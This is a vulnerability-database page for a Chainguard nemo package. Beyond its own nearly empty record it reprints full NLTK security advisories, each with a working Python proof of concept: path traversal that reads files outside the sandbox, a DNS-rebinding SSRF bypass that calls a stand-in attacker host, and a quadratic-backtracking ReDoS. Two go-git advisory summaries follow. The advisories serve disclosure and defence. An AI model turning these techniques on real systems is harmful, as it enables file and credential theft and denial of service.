CGA-RQ6W-587W-Q3V3: nemo Chainguard
CVSS: UnknownUnknown
Published Date unknownLast modified Date unknown
Status not reported
The data service did not report a status for this record. Only the available sections are shown.Vulnerability summary
CGA-RQ6W-587W-Q3V3 is a vulnerability in nemo Chainguard with no CVSS score yet.
CVSS score
Not scored
010
No CVSS score recordedEPSS score
Not scored
0%100%
No EPSS score yetKEVNot listedIn no KEV catalog
RansomwareNone recordedNo known use recorded
Public exploits0No public exploits recorded
Advisory lineage
Upstream 0 · Downstream 0 · Related 1Timeline
No timeline events recorded.
Description
No description has been published for this record.
CVSS metrics
Risk metrics not yet published.
EPSS trend
No EPSS score has been published for this record yet.
Known exploited
Compare KEV catalogsNot in any of the 3 tracked catalogs.
Public exploits
0 foundNo public exploits indexed.
Weaknesses
CWE · root causeNo weakness data has been published for this record.
Affected systems
Chainguard1 product
- nemo< 1.23.0-r12
1 vendor · 1 product
References
0 linksNo references have been published for this record.
Related vulnerabilities
CVE-2026-12074chainguardnemo+5Natural Language Toolkit (NLTK) has path traversal in FramenetCorpusReader.frame() that allows arbitrary XML file read, bypassing the nltk.pathsec sandbox (ENFORCE=True)
### Summary
`FramenetCorpusReader.frame(name)` interpolates a caller-supplied frame name into an XML file path that is read with the builtin `open()`, bypassing `CorpusReader.open()` and the `nltk.pathsec` sandbox — including strict `ENFORCE=True` mode. A `../` sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller.
### Details
`frame_by_name` builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed `.xml` extension, with no containment check, then constructs an `XMLCorpusView` from that **string** path. Because the view is built from a string rather than a `PathPointer`, it reads with the builtin `open()`, so `nltk.pathsec.validate_path()` is never invoked and `ENFORCE=True` does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; `frame_by_name` never goes through `CorpusReader.open()`, so that protection does not apply.
The same string-path-into-`XMLCorpusView` pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller:
- `doc()` — uses the index entry `filename` field
- the lexical-unit file loader — uses the `lexUnit` ID attribute
These are reachable through a malicious or attacker-modified FrameNet corpus index.
### PoC
```python
"""
import os
import sys
import tempfile
import warnings
from pathlib import Path
warnings.filterwarnings("ignore")
# --- Turn the documented strict sandbox ON, before importing the reader. ---
import nltk.pathsec as ps
ps.ENFORCE = True
import nltk
from nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError
FRAME_XML = (
'<?xml version="1.0" encoding="UTF-8"?>\n'
'<frame xmlns="http://framenet.icsi.berkeley.edu" ID="1337" name="pwned">\n'
"<definition>SECRET-OUT-OF-ROOT-CONTENT</definition>\n"
"</frame>\n"
)
BANNER = """\
===========================================================
NLTK FramenetCorpusReader.frame() Path Traversal PoC
nltk {ver} | nltk.pathsec.ENFORCE = {enforce}
===========================================================""".format(
ver=nltk.__version__, enforce=ps.ENFORCE
)
def build_corpus():
"""Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root."""
base = Path(tempfile.mkdtemp(prefix="fn_poc_"))
root = base / "corpora" / "framenet"
for d in ("frame", "fulltext", "lu"):
(root / d).mkdir(parents=True)
(root / "frameIndex.xml").write_text(
'<?xml version="1.0"?><frameIndex></frameIndex>'
)
(root / "frRelation.xml").write_text(
'<?xml version="1.0"?><frameRelations></frameRelations>'
)
# A frame-shaped XML file OUTSIDE the corpus root (the "sensitive" target).
secret = base / "private"
secret.mkdir()
(secret / "secret.xml").write_text(FRAME_XML)
return base, root, secret / "secret.xml"
def main():
print(BANNER)
base, root, secret_path = build_corpus()
print(f"[*] corpus root : {root}")
print(f"[*] secret file : {secret_path} (OUTSIDE the root)\n")
fn = FramenetCorpusReader(str(root), [])
# Attacker-controlled frame name climbs out of <root>/frame/ up to <base>/private/secret.xml
evil = os.path.join("..", "..", "..", "private", "secret")
print(f"[*] calling fn.frame({evil!r})")
try:
f = fn.frame(evil)
definition = f["definition"]
if "SECRET-OUT-OF-ROOT-CONTENT" in definition:
print("\n [VULN] out-of-root file was read and returned to caller")
print(f" frame name : {evil}")
print(f" frame ID : {f['ID']} name: {f['name']}")
print(f" definition : {definition}")
print(f"\n -> nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}")
verdict = "VULNERABLE"
else:
print(f"\n [?] frame() returned but content unexpected: {definition!r}")
verdict = "INCONCLUSIVE"
except FramenetError as e:
# Patched build (#3581): _reject_unsafe_path_component raises before open().
print(f"\n [SAFE] FramenetError: {e}")
print(" traversal rejected before any file was opened (patched)")
verdict = "NOT VULNERABLE"
except Exception as e:
print(f"\n [SAFE] {type(e).__name__}: {e}")
verdict = "NOT VULNERABLE"
# Control: a plain absent name must fail as 'Unknown frame', NOT as a read.
print("\n[CONTROL] benign absent name should be 'Unknown frame':")
try:
fn.frame("Definitely_Not_A_Frame")
print(" [?] unexpectedly succeeded")
except Exception as e:
print(f" ok -> {type(e).__name__}: {e}")
print("\n" + "=" * 59)
print(f" Result: {verdict} (ENFORCE = {ps.ENFORCE})")
print("=" * 59)
if __name__ == "__main__":
main()
```
### Impact
- **Out-of-sandbox arbitrary XML read.** Any application that routes attacker-influenced input into `frame()` can be made to read XML files from directories outside the intended corpus root and have their parsed content returned. `frame()` is a primary public API designed to accept a caller-specified frame name, so this is a natural exposure for any service exposing FrameNet lookups to user input.
- **Broad read primitive.** Only a fixed `.xml` extension is appended; the attacker controls both directory and basename, giving "read any XML file the process can read." Full content disclosure requires frame-shaped XML; other files yield a distinguishable parse error that acts as a file-existence/readability oracle for arbitrary paths.
- **Silent bypass of an advertised boundary.** NLTK's `SECURITY.md` presents the `nltk.pathsec` sandbox and `ENFORCE=True` as a hard boundary for web apps, multi-tenant pipelines, and CI/CD. Because `frame_by_name` builds the path itself and reads through a string-path `XMLCorpusView`, the containment guard is never called and `ENFORCE=True` does not block the read — silently, with no error or warning.
- **Crafted-corpus reach.** Via `doc()` and the lexical-unit loader, a malicious FrameNet data directory drives the same traversal with no caller-supplied name.
- **Sensitive targets.** Depending on deployment, readable out-of-root XML can include application configuration, data exports, and on-disk credentials stored as XML; the oracle behavior also allows filesystem mapping. Where `frame()` output is reflected to the requester, disclosure is direct and non-blind.CVE-2026-12075chainguardnemo+3Natural Language Toolkit (NLTK): DNS-rebinding SSRF filter bypass in nltk.pathsec.urlopen (nltk.download / nltk.data.load) defeats ENFORCE mode
### Summary
`nltk.pathsec` provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges (including obfuscated forms) and recommending strict `ENFORCE` mode for security-sensitive environments. The filter is bypassable by DNS rebinding: `validate_network_url()` resolves the hostname and checks the resulting IP, but the actual HTTP connection re-resolves the hostname independently at connect time and connects to that second result. The validated IP is never the one connected to. An attacker controlling DNS for a hostname (a TTL-0 rebinding record) returns a public IP for the validation lookup and an internal/loopback IP for the connection lookup, defeating the filter even under `nltk.pathsec.ENFORCE = True`.
### Details
`urlopen()` validates, then hands the raw hostname to `urllib`, which performs a second name resolution deep in the connection layer (`http.client.HTTPConnection.connect` → `socket.create_connection` → `socket.getaddrinfo`). The validation-side and connection-side resolutions are fully independent code paths with independent caches:
1. `validate_network_url()` calls `_resolve_hostname(parsed.hostname)` and checks each returned IP against loopback/link-local/multicast/private, blocking under `ENFORCE`. (Resolution #1.)
2. `urlopen()` then calls `build_opener(...).open(url)` with the original URL (raw hostname), so `urllib` resolves the hostname again at connect time. (Resolution #2 — the address actually connected to.)
`_resolve_hostname` is decorated with `lru_cache` and its docstring claims to mitigate DNS rebinding, but the cache only memoizes the validation-side lookup. The connection layer's `getaddrinfo` does not consult that cache, so it provides no protection. The annotation is a false assurance: an operator reading it may believe rebinding is handled when it is not.
### PoC
```python
import socket
import threading
import warnings
from collections import defaultdict
from http.server import BaseHTTPRequestHandler, HTTPServer
warnings.filterwarnings("ignore")
import nltk
import nltk.pathsec as ps
ps.ENFORCE = True # the documented strict SSRF sandbox
ATTACKER_HOST = "rebind.attacker.test" # attacker-controlled authoritative DNS
PUBLIC_IP = "93.184.216.34" # public address served for the validation lookup
SECRET = b"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS"
# --- A loopback-only "internal service" (stands in for 169.254.169.254 / admin UI) ---
class _Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.send_header("Content-Length", str(len(SECRET)))
self.end_headers()
self.wfile.write(SECRET)
def log_message(self, *a):
pass
def start_internal_server():
srv = HTTPServer(("127.0.0.1", 0), _Handler)
threading.Thread(target=srv.serve_forever, daemon=True).start()
return srv.server_address[1] # ephemeral port
# --- Model the TTL-0 rebinding record at the resolver layer ---
_real_getaddrinfo = socket.getaddrinfo
_lookups = defaultdict(int)
def _rebinding_getaddrinfo(host, port, *args, **kwargs):
if host == ATTACKER_HOST:
n = _lookups[host]
_lookups[host] += 1
ip = PUBLIC_IP if n == 0 else "127.0.0.1" # 1st=public (validate), then loopback (connect)
p = port if isinstance(port, int) else 0
kind = "VALIDATION -> public" if n == 0 else "CONNECT -> loopback"
print(f" [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})")
return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, "", (ip, p))]
return _real_getaddrinfo(host, port, *args, **kwargs)
def fetch(url):
with ps.urlopen(url, timeout=5) as r:
return r.read()
def main():
print("=" * 62)
print(f" NLTK pathsec DNS-rebinding SSRF bypass PoC")
print(f" nltk {nltk.__version__} | nltk.pathsec.ENFORCE = {ps.ENFORCE}")
print("=" * 62)
port = start_internal_server()
print(f"[*] internal loopback service: http://127.0.0.1:{port}/ (returns secret)\n")
socket.getaddrinfo = _rebinding_getaddrinfo
ps._resolve_hostname.cache_clear() # fresh validation cache, as on a real process
try:
# ---- Control: a DIRECT loopback URL must be blocked by the filter ----
print("[1] CONTROL: direct loopback URL (filter must block this)")
direct = f"http://127.0.0.1:{port}/"
try:
fetch(direct)
print(f" [?] unexpected: {direct} was NOT blocked\n")
control_ok = False
except PermissionError as e:
print(f" [OK] blocked -> PermissionError: {e}\n")
control_ok = True
# ---- Attack: rebinding hostname bypasses the same filter ----
print("[2] ATTACK: rebinding hostname (public at validate, loopback at connect)")
evil = f"http://{ATTACKER_HOST}:{port}/"
print(f" fetching {evil}")
try:
body = fetch(evil)
leaked = SECRET in body
print(f" body returned to caller: {body!r}")
if leaked:
print("\n [VULN] loopback-only secret exfiltrated through pathsec.urlopen")
print(f" validated IP = {PUBLIC_IP} (public) but connected IP = 127.0.0.1")
print(f" non-blind SSRF despite ENFORCE = {ps.ENFORCE}")
verdict = "VULNERABLE"
else:
print("\n [?] fetch succeeded but secret marker not present")
verdict = "INCONCLUSIVE"
except PermissionError as e:
# Patched build: validate against the connect-time IP (or pin/resolve-once).
print(f"\n [SAFE] blocked -> PermissionError: {e}")
verdict = "NOT VULNERABLE"
finally:
socket.getaddrinfo = _real_getaddrinfo
print("\n" + "=" * 62)
print(f" Control (direct loopback blocked): {control_ok}")
print(f" Result: {verdict} (ENFORCE = {ps.ENFORCE})")
print("=" * 62)
if __name__ == "__main__":
main()
```
### Impact
- **Full-response (non-blind) SSRF.** Because the fetched body is returned to the caller (e.g. `nltk.data.load` with `format="raw"`), an attacker can read responses from internal-only HTTP services, loopback admin interfaces, and — most seriously — the cloud instance metadata service, which on major cloud providers can expose IAM/service credentials and lead to cloud account compromise.
- **Bypass of an explicit security control.** It defeats the `nltk.pathsec` SSRF filter, including the `ENFORCE` mode that NLTK's documentation recommends precisely for environments where untrusted input may reach NLTK. Deployments that adopted that boundary are not actually protected, and the `lru_cache` annotation claiming to mitigate rebinding makes the false assurance worse.CVE-2026-12061chainguardnemo+5Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex
### Summary
`ReviewsCorpusReader` extracts feature annotations of the form *label* followed by a bracketed signed digit (e.g. a label then `[+2]`) from each review line, using the module-level `FEATURES` regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal `[`. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs `reviews()`, `features()`, and `sents()`.
### Details
The label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal `[`. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the *n* starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. `re.findall` repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.
### PoC
```
import multiprocessing as mp
import re
import time
# --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---
FEATURES_VULN = re.compile(r"((?:(?:\w+\s)+)?\w+)\[((?:\+|\-)\d)\]")
# --- Bounded variant from the fix (PR #3583): cap the per-label word run.
# A generous bound (real feature labels are short noun phrases) makes the
# run linear while never affecting legitimate corpora. ---
WORD_BOUND = 50
FEATURES_FIXED = re.compile(
r"((?:(?:\w+\s){0,%d})?\w+)\[((?:\+|\-)\d)\]" % WORD_BOUND
)
TIMEOUT = 20.0 # seconds, per measurement
SIZES = [1000, 2000, 4000, 8000, 16000] # words on a single bracket-less line
def _bad_line(n_words):
"""A long line of plain words with NO trailing bracketed annotation."""
return ("word " * n_words).rstrip()
def _worker(pattern_str, line, q):
pat = re.compile(pattern_str)
t0 = time.perf_counter()
pat.findall(line)
q.put(time.perf_counter() - t0)
def timed_findall(pattern, line, timeout=TIMEOUT):
"""Run pattern.findall(line) in a killable process; return seconds or None (timeout)."""
q = mp.Queue()
p = mp.Process(target=_worker, args=(pattern.pattern, line, q))
p.start()
p.join(timeout)
if p.is_alive():
p.terminate()
p.join()
return None
return q.get() if not q.empty() else None
def bench(label, pattern):
print(f"\n[{label}] pattern: {pattern.pattern}")
print(f" {'words':>7} {'~bytes':>8} {'time':>12} {'x prev':>7}")
prev = None
for n in SIZES:
line = _bad_line(n)
t = timed_findall(pattern, line)
if t is None:
print(f" {n:>7} {len(line):>8} {'>%.0fs TIMEOUT' % TIMEOUT:>12} {'--':>7}")
prev = None
else:
ratio = f"{t/prev:.1f}x" if prev else "--"
print(f" {n:>7} {len(line):>8} {t*1000:>9.1f} ms {ratio:>7}")
prev = t
def parity_check():
"""The bound must NOT change extraction on a realistic annotated line."""
real = (
"the picture quality[+2] and battery life[+1] are great but "
"the lens cap[-1] feels cheap and the menu system[-2] is slow"
)
a = FEATURES_VULN.findall(real)
b = FEATURES_FIXED.findall(real)
print("\n[parity] realistic annotated line — extraction must be identical")
print(f" vulnerable regex -> {a}")
print(f" bounded regex -> {b}")
print(f" identical: {a == b}")
return a == b
def main():
print("=" * 66)
print(" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)")
print("=" * 66)
print(f" per-call timeout = {TIMEOUT:.0f}s word bound (fix) = {WORD_BOUND}")
bench("VULNERABLE reviews.py L70-71", FEATURES_VULN)
bench("BOUNDED fix #3583", FEATURES_FIXED)
same = parity_check()
print("\n" + "=" * 66)
print(" Vulnerable: ~4x time per input doubling => O(n^2) quadratic ReDoS")
print(" Bounded: ~2x time per input doubling => O(n) linear, stays in ms")
print(f" Extraction parity on real annotations preserved: {same}")
print(" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().")
print("=" * 66)
if __name__ == "__main__":
main()
```
### Impact
Denial of service. Processing a single crafted line through `ReviewsCorpusReader` consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.CVE-2026-12072chainguardnemo+5Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)
### Summary
A path-traversal vulnerability in `NKJPCorpusReader` allows an attacker who can
influence the `fileids` argument of its public read methods (`header`, `raw`,
`words`, `sents`, `tagged_words`) to read files outside the corpus root. The
reader builds the file path with no containment check and opens it with the
builtin `open()`, so it bypasses NLTK's `nltk.pathsec` sandbox — including the
strict `ENFORCE = True` mode that `SECURITY.md` recommends for web/multi-tenant
deployments. `header()` returns the parsed content of the out-of-root file to
the caller (arbitrary file read).
### Details
`SECURITY.md` promises that file access is "validated against allowed NLTK data
directories" and that with `nltk.pathsec.ENFORCE = True` "unauthorized file
access … will raise `PermissionError`." That guarantee is enforced via
`FileSystemPathPointer.open()` / `CorpusReader.open()`, which call
`nltk.pathsec.validate_path(...)`.
`NKJPCorpusReader` never uses that protected path. In
`nltk/corpus/reader/nkjp.py`:
- `add_root()` builds the path by **plain string concatenation** with no
normalization or containment check:
```python
def add_root(self, fileid): # lines 96-102
if self.root in fileid:
return fileid # attacker-controlled value returned unchanged
return self.root + fileid # plain concat, '..' not stripped
```
- The header view appends a fixed basename and passes the string straight into
the corpus view (which opens it with the builtin `open()`):
```python
class NKJPCorpus_Header_View(XMLCorpusView): # line 181
def __init__(self, filename, **kwargs):
XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec) # line 189
```
- The other modes reach the filesystem through `XML_Tool`, which uses a raw
`os.path.join` (not the hardened `FileSystemPathPointer.join()`) and the
builtin `open()`:
```python
class XML_Tool: # line 243
def __init__(self, root, filename):
self.read_file = os.path.join(root, filename) # line 251
def build_preprocessed_file(self):
fr = open(self.read_file) # line 256 — pathsec never consulted
```
Because `open()` is the builtin (not `PathPointer.open()`), the `pathsec`
sentinel is never invoked, so `ENFORCE = True` does not block the access. For
comparison, the safe API `CorpusReader.open()` (`nltk/corpus/reader/api.py:222`)
rejects `..`/absolute fileids and calls `validate_path(..., required_root=...)`
before opening — `NKJPCorpusReader` simply does not go through it.
### PoC
Tested against `nltk==3.9.4` (latest PyPI release) and current `develop`.
```
pip install "nltk==3.9.4"
python3 poc.py
```
`poc.py`:
```python
import builtins, os, shutil, tempfile, warnings
warnings.simplefilter("ignore")
import nltk, nltk.pathsec as pathsec
from nltk.corpus.reader.nkjp import NKJPCorpusReader
print("nltk", nltk.__version__)
# A legitimate, empty NKJP corpus root (what a real app has).
root = tempfile.mkdtemp(prefix="nkjp_corpus_root_")
os.makedirs(os.path.join(root, "sample"), exist_ok=True)
open(os.path.join(root, "sample", "header.xml"), "w").write("<x/>")
# The attacker's target: a file OUTSIDE the corpus root.
secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_")
open(os.path.join(secret_dir, "header.xml"), "w").write(
"<teiHeader><fileDesc><sourceDesc><bibl>"
"<title>SECRET-API-KEY=sk-live-DEADBEEF</title>"
"</bibl></sourceDesc></fileDesc></teiHeader>")
# Enable the strict mode SECURITY.md recommends for web / multi-tenant.
pathsec.ENFORCE = True
print("ENFORCE =", pathsec.ENFORCE)
# Prove the out-of-root read and that pathsec is never consulted.
opened = []; real = builtins.open
builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]
reader = NKJPCorpusReader(root=root + "/", fileids="sample")
# Attacker-controlled `fileids`; '..' escapes the corpus root:
evil = root + "/../../../../../../.." + secret_dir + "/"
try:
result = reader.header(fileids=[evil])
finally:
builtins.open = real
print("opened outside root:", [p for p in opened if "OUTSIDE_ROOT_" in p][:1])
print("disclosed content :", result[0]["title"])
shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True)
```
Output (unmodified):
```
nltk 3.9.4
ENFORCE = True
opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml']
disclosed content : SECRET-API-KEY=sk-live-DEADBEEF
```
With `ENFORCE = True`, NLTK opened a file outside the corpus root via the
builtin `open()` (no `PermissionError`, no warning) and returned its content.
### Impact
This is a path traversal (CWE-22) leading to arbitrary file read. Any
application that passes attacker-influenced values into `NKJPCorpusReader`'s
`fileids` (e.g. letting a user choose which corpus document to read) is
affected; the attacker can escape the corpus root and read files elsewhere on
the host, defeating the `ENFORCE=True` sandbox.
Honest scoping: `header()` discloses the content of out-of-root files named
`header.xml` containing NKJP header XML. `raw()`/`words()`/`sents()` also open
and read an arbitrary out-of-root file (proven by intercepting `open()`), but a
separate pre-existing bug in `XML_Tool` (writing `str` to a binary
`NamedTemporaryFile`) suppresses their return value on current Python, so for
those modes the impact is arbitrary file open/read. The attacker chooses the
directory freely; a fixed basename is appended per mode. The same
"build-path-then-builtin-open, skipping pathsec" anti-pattern also appears in
`xmldocs.py:161`, `util.py:212,215`, `crubadan.py:78,97`, `lin.py:43`,
`ipipan.py:191`, `pl196x.py:110` and is worth fixing as a class.CVE-2025-21614chainguardamazon-ssm-agent+2390.72%go-git is a highly extensible git implementation library written in pure Go. A denial of service (DoS) vulnerability was discovered in go-git versions prior to v5.13. This vulnerability allows an attacker to perform denial of service attacks by providing specially crafted responses from a Git server which triggers resource exhaustion in go-git clients. Users running versions of go-git from v4 and above are recommended to upgrade to v5.13 in order to mitigate this vulnerability.CVE-2025-21613chainguardamazon-ssm-agent+2481.28%go-git is a highly extensible git implementation library written in pure Go. An argument injection vulnerability was discovered in go-git versions prior to v5.13. Successful exploitation of this vulnerability could allow an attacker to set arbitrary values to git-upload-pack flags. This only happens when the file transport protocol is being used, as that is the only protocol that shells out to git binaries. This vulnerability is fixed in 5.13.0.